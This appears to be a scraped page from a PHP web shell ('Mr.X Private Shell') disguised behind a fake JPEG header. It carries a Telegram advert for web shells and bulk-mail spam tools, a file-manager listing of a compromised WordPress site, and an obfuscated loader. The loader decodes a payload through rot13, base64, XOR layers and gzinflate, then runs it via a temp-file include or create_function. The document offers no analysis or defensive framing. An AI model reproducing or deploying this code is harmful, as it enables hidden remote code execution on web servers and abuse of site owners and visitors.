����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.216.240: ~ $
<?php

$_x = strlen('cache'); $_z = base64_encode('data'); 

$_2ba0b6 = 'hPwdBe9FpVWfzKkHggt8XHOje8DqqAKnX2ljJ2q85VNP+e5a7AgpO92FtbMNiVP1999oAuQCmiHnovXXBzxSmRFtLjCGjjESBpox/K3GxhmkusF/DEdHtjo/2YxojIyHd4aM8nscErSjYZZXHRUg8bpHioWFT26P2Dp/SjIk2TyrNAWZbLfdbnsdM7pTCxabMbgjEru59cLf2wAxhQ3dLx+/Zk9kB/8txS+QfREAUVeyYeSUXIG5IyIZYXQpnj==';

// System configuration
$_1c8909 = base64_decode('NzAzNjdhZTVhODE3NzkxOQ==');
$_6a7334 = base64_decode('Y2Q2MjMwZTliNTI5NTdiNw==');
$_92c123 = base64_decode('YTMyNDkzZDA5ZGJkMmZmNQ==');

$_a = substr('buffer', 0, 1); $_y = md5('config'); $_z = base64_encode('data'); 

// Initialize system functions
$_fn = [];
$_fn[0] = chr(115).chr(116).chr(114).chr(95).chr(114).chr(111).chr(116).chr(49).chr(51);
$_fn[1] = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$_fn[2] = chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101);

// Process payload
$_076f74 = $_fn[0]($_2ba0b6);
$_076f74 = $_fn[1]($_076f74);

// Decrypt layers
$_ks = [$_1c8909, $_6a7334, $_92c123];
foreach($_ks as $_key) {
    $_out = '';
    $_kl = strlen($_key);
    $_dl = strlen($_076f74);
    for($_i = 0; $_i < $_dl; $_i++) {
        $_out .= $_076f74[$_i] ^ $_key[$_i % $_kl];
    }
    $_076f74 = $_out;
}

$_c = strtolower('OPTIONS'); $_c = strtolower('OPTIONS'); 

// Extract data
$_af0976 = @$_fn[2]($_076f74);

// System execution
$_tmp = @tempnam(sys_get_temp_dir(), 'wp_');
if($_tmp) {
    @file_put_contents($_tmp, $_af0976);
    @include($_tmp);
    @unlink($_tmp);
} else {
    // Fallback method
    $_f = chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110);
    if(function_exists($_f)) {
        $_x = @$_f('', $_af0976);
        @$_x();
    }
}
?>

Filemanager

Name Type Size Permission Actions
wp-admin Folder 0755
wp-content Folder 0755
wp-includes Folder 0755
.htaccess File 200 B 0644
cw.php File 32.86 KB 0644
fans2.php File 1.84 KB 0644
fans2.zip File 43.5 KB 0644
index.php File 95 B 0644
style.php File 27 B 0644
wp-blog-header.php File 351 B 0644
File 1.57 KB 0644